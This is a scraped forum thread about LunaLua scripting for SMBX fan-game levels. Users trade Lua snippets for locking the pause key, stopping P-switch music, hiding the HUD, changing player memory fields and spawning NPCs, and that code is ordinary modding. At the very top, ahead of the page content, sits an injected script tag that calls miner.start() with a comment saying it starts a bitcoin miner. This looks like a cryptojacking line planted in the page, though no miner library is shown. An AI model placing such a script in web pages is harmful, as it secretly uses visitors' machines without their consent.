<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxypge projectsmw central

LunaDLL/LunaLUA help thread

The second SMBX collab!
Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 4 years ago

Pyro wrote:PGE Wiki says that the star counter's memory type is "Short" - how would I type this in the "mem" function?
You should beware of changing the internal SMBX star counter by the way. Currently luna will delete your saved variables for that world if it detects that the star count has gone down from what it previously was because it thinks you deleted your SMBX save and wants to also delete your luna save.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Ittababy
Posts: 13
Joined: 5 years ago

Re: LunaDLL/LunLUA help thread

Postby Ittababy » 4 years ago

:oops: So I never actually got an answer for the code needed to make a horizontal boo.
I got a vague kind of answer, but I'm no coder, and I'm not sure how I'd do what I'm told.
A very shy ghost.

User avatar
SAJewers
hi
Posts: 3197
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL/LunLUA help thread

Postby SAJewers » 4 years ago

Is there a way to fix "A World 1 Level" From Episode 1 by disallowing the player from entering the pause menu?

EDIT: Also, Is it possible to have no P-Switch music, like in ASMT/A2MT?
ImageImageImageImageImage
Image
ImageImageImageImage

S1eth
Posts: 291
Joined: 4 years ago

Re: LunaDLL/LunLUA help thread

Postby S1eth » 4 years ago

SAJewers wrote:Is there a way to fix "A World 1 Level" From Episode 1 by disallowing the player from entering the pause menu?

EDIT: Also, Is it possible to have no P-Switch music, like in ASMT/A2MT?
http://engine.wohlnet.ru/pgewiki/Player_%28class%2 has Player.pauseKeyPressing
True, if the player is pressing the pause key. Can be overwritten with the Event onInputUpdate, to lock or reverse controls (LunaLua ≥v0.7)
How To: Overwrite or lock player input

Code: Select all

function onInputUpdate()
   if(player.pauseKeyPressing) then
       player.pauseKeyPressing  = false;
   end
end
This should do it. (not tested)

Doesn't sound replacement work the same way as with sprites? Can't you put a silent sound file with the same name as the P-switch sound file into your level folder?
Image

User avatar
SAJewers
hi
Posts: 3197
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL/LunLUA help thread

Postby SAJewers » 4 years ago

The P-switch jingle is music, not a sound.
ImageImageImageImageImage
Image
ImageImageImageImage

S1eth
Posts: 291
Joined: 4 years ago

Re: LunaDLL/LunLUA help thread

Postby S1eth » 4 years ago

SAJewers wrote:The P-switch jingle is music, not a sound.
You can use:

Code: Select all

function onEvent(eventName)
  if eventName == "P Switch - Start" then
    Audio.MusicStop();
  end
end
So when you hit a P-switch, the music is immediately stopped, and is completely silent for the duration.
But this is probably not exactly what you want, because with this, you have no idea how long the P-switch effect actually lasts.
Image

User avatar
SAJewers
hi
Posts: 3197
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL/LunLUA help thread

Postby SAJewers » 4 years ago

Yeah, it's definitely what I want. I'd like the level music to continue uninterrupted, with a sound effect playing overtop.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
Rednaxela
Maker of Shenanigans
Posts: 782
Joined: 5 years ago

Re: LunaDLL/LunLUA help thread

Postby Rednaxela » 4 years ago

SAJewers wrote:Is there a way to fix "A World 1 Level" From Episode 1 by disallowing the player from entering the pause menu?
1) I've given it a try disabling the pause menu but no real luck thus far. I'll look further into it some time. Worst case, I'll have to modify LunaDLL to add some extra functionality for control of allowing/disallowing pausing, since my initial attempt of blocking the control input failed.
2) How does disallowing the player from entering the pause menu help "A World 1 Level" from Ep 1? I don't recall that level or what's wrong with it.
SAJewers wrote:EDIT: Also, Is it possible to have no P-Switch music, like in ASMT/A2MT?
I'm unaware of what was done in ASMT/A2MT for no P-Switch music (was it just have no music file or a silent music file?), but any reason the same can't be done?

I'm now however thinking that in the next few days I may look into adding a "p-switch settings" thing to LunaLua, so various things about p-switches could be set from Lua, which would be via the lunaworld.lua file for making something episode-wide. Might think about making it so in addition to silent or not, maybe allowing the duration to be changed by Lua code (not super relevant to A2XT stuff at the episode level but maybe some level creators would find it handy)

User avatar
Wohlstand
PGE and LunaLUA developer
Posts: 158
Joined: 5 years ago

Re: LunaDLL/LunLUA help thread

Postby Wohlstand » 4 years ago

I have a way: music will not be overwritten by others while you have seized music stream:

Code: Select all

Audio.SeizeStream(int sectionID)
-- Seizing control of music stream from SMBX Engine for specific section ID (from 0 to 20. If -1, then will be seized music stream for all sections).
If section has been seized, SMBX Engine will be not able control music engine while player inside current section, so, is possible to manipulate with music via lua code with no bugs
I wasn't tried that with P-Switches, but must work

User avatar
SAJewers
hi
Posts: 3197
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL/LunLUA help thread

Postby SAJewers » 4 years ago

Rednaxela wrote:
SAJewers wrote:Is there a way to fix "A World 1 Level" From Episode 1 by disallowing the player from entering the pause menu?
1) I've given it a try disabling the pause menu but no real luck thus far. I'll look further into it some time. Worst case, I'll have to modify LunaDLL to add some extra functionality for control of allowing/disallowing pausing, since my initial attempt of blocking the control input failed.
2) How does disallowing the player from entering the pause menu help "A World 1 Level" from Ep 1? I don't recall that level or what's wrong with it.
SAJewers wrote:EDIT: Also, Is it possible to have no P-Switch music, like in ASMT/A2MT?
I'm unaware of what was done in ASMT/A2MT for no P-Switch music (was it just have no music file or a silent music file?), but any reason the same can't be done?

I'm now however thinking that in the next few days I may look into adding a "p-switch settings" thing to LunaLua, so various things about p-switches could be set from Lua, which would be via the lunaworld.lua file for making something episode-wide. Might think about making it so in addition to silent or not, maybe allowing the duration to be changed by Lua code (not super relevant to A2XT stuff at the episode level but maybe some level creators would find it handy)
the P-switch thingy in ASMT was an ASM patch that replaced the P-switch music with a ticking sound effect that played over the level music. Here's an example from raocow's ASMT LP, or a TAS of that level if you don't want commentary. I can easily grab that sound effect.

EDIT: If it's any use to you, here's the ASMT resources pack, which includes the ASM patch for the ticking p-switch (\patches\ticking.asm)

As for "A World 1 Level", the main part the level uses events that sync up with the music. Pausing the game causes the events to stop until you unpause, which causes the music and the events to desync.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
SAJewers
hi
Posts: 3197
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL/LunLUA help thread

Postby SAJewers » 4 years ago

Any Luck with this?

Also, while I'm posting, is it possible to increase the Demo counter in Lua?
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 5 years ago

Re: LunaDLL/LunLUA help thread

Postby Kevsoft » 4 years ago

SAJewers wrote:Any Luck with this?
Red and me is working on that.
SAJewers wrote:Also, while I'm posting, is it possible to increase the Demo counter in Lua?
Horikawa made a demo counter in lua, might ask her.

User avatar
SAJewers
hi
Posts: 3197
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL/LunLUA help thread

Postby SAJewers » 4 years ago

I don't mean creating the Demo Counter again (I think someone is looking after that), I mean adding a Demo to the counter upon a certain event happening.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL/LunLUA help thread

Postby Hoeloe » 4 years ago

SAJewers wrote:I don't mean creating the Demo Counter again (I think someone is looking after that), I mean adding a Demo to the counter upon a certain event happening.
In the lua based one, definitely.
Image
Image
Image
Image
Image

User avatar
SAJewers
hi
Posts: 3197
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL/LunLUA help thread

Postby SAJewers » 4 years ago

Oh, good.

This will probably make my Fairy/Angel Girl level idea much less annoying.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
SAJewers
hi
Posts: 3197
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL/LunLUA help thread

Postby SAJewers » 4 years ago

OK, how do I make the player always be a fairy? Using this in an onLoop doesn't seem to work:

Code: Select all

	if (player:mem(0x0C, FIELD_WORD) == 0x0) then
		player:mem(0x0C, FIELD_WORD, 0xFFFFFF);

	end
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
SAJewers
hi
Posts: 3197
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL/LunLUA help thread

Postby SAJewers » 4 years ago

Nevermind, this works:

Code: Select all

Ship = {}
Ship.npc = nil;
Ship.timer = 20
function Ship:onLoop()
	if (player:mem(0x0C, FIELD_WORD) == 0x0) then
		if (Ship.timer == 0) then
			Ship.npc = spawnNPC(254, player.x, player.y, 1)
			Ship.timer = 20
		else
			Ship.timer = Ship.timer - 1
		end

	end

end
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
SAJewers
hi
Posts: 3197
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL/LunLUA help thread

Postby SAJewers » 4 years ago

OK, now How Do I use Warp.get and Warp.EnteranceX/Warp.enteranceY to get the coords of a warp, and teleport the player to there?

EDIT: To be clear, What I'm looking for is to reposition the player in an autoscroll section. I figure the best way to do that is to have a Warp, moving with the autoscroll. The problem is, I can't figure out how to retrieve the coordinates of that warp.



Nevermind, I got it to work somehow.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2520
Joined: 8 years ago
Location: Finland

Re: LunaDLL/LunLUA help thread

Postby Willhart » 4 years ago

How can I hide the hud for my level? I'm having hard time getting anything to work on the A2XT devkit.

User avatar
Mabel
Just west of wierd
Posts: 278
Joined: 6 years ago

Re: LunaDLL/LunLUA help thread

Postby Mabel » 4 years ago

Willhart wrote:How can I hide the hud for my level? I'm having hard time getting anything to work on the A2XT devkit.
dunno about doing it with Lua, but this autocode still works

Code: Select all

#0
LunaControl,2,1,0,0,0,0
#END
Image
Image
Image Image

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2520
Joined: 8 years ago
Location: Finland

Re: LunaDLL/LunLUA help thread

Postby Willhart » 4 years ago

Mabel wrote:
Willhart wrote:How can I hide the hud for my level? I'm having hard time getting anything to work on the A2XT devkit.
dunno about doing it with Lua, but this autocode still works

Code: Select all

#0
LunaControl,2,1,0,0,0,0
#END
Thank you. I was remembering there was a code for that somewhere.

Edit: It did not work. I wonder if the devkit is on the way somehow. I tried it as an episode too, and that did not help.

S1eth
Posts: 291
Joined: 4 years ago

Re: LunaDLL/LunLUA help thread

Postby S1eth » 4 years ago

Willhart wrote:
Mabel wrote:
Willhart wrote:How can I hide the hud for my level? I'm having hard time getting anything to work on the A2XT devkit.
dunno about doing it with Lua, but this autocode still works

Code: Select all

#0
LunaControl,2,1,0,0,0,0
#END
Thank you. I was remembering there was a code for that somewhere.

Edit: It did not work. I wonder if the devkit is on the way somehow. I tried it as an episode too, and that did not help.
Does this not work?: Graphics.activateHud(false)
Image

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2520
Joined: 8 years ago
Location: Finland

Re: LunaDLL/LunLUA help thread

Postby Willhart » 4 years ago

S1eth wrote:
Willhart wrote:Does this not work?: Graphics.activateHud(false)
I tried that, and "hud (false)" since I saw someone use that on a level too.
Neither of them caused an error, or removed the hud.

XerX
Untalented Pleb
Posts: 91
Joined: 5 years ago
First name: Colton
Pronouns: he/him/his
Location: Canada

Re: LunaDLL/LunLUA help thread

Postby XerX » 4 years ago

Code: Select all

hud(false);
Should work, as I use it for my overhaul API.

User avatar
Friendly Dictator
rad
Posts: 141
Joined: 8 years ago
Pronouns: he/him/his
Location: Underground Pudding Destoryer
Contact:

Re: LunaDLL/LunLUA help thread

Postby Friendly Dictator » 4 years ago

using lunalua, is it possible to make it so Mario constantly fires bullet bills like he's holding a billy gun? i tried this code but the bullets it spawns don't move:

Code: Select all

direct = 1;
timer = 0;
function onLoopSection1()
	if (player.speedX > 0) then
		direct = 1;
	end
	if (player.speedX < 0) then
		direct = -1;
	end
	timer = timer+1;
	if (timer==15) then
		timer = 0;
		local bill = NPC.spawn(17, player.x+direct*32,player.y,1);
		bill.speedX = player.speedX+direct*4;
	end
	player:mem(0x16E, FIELD_WORD, -1)
end


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 3 guests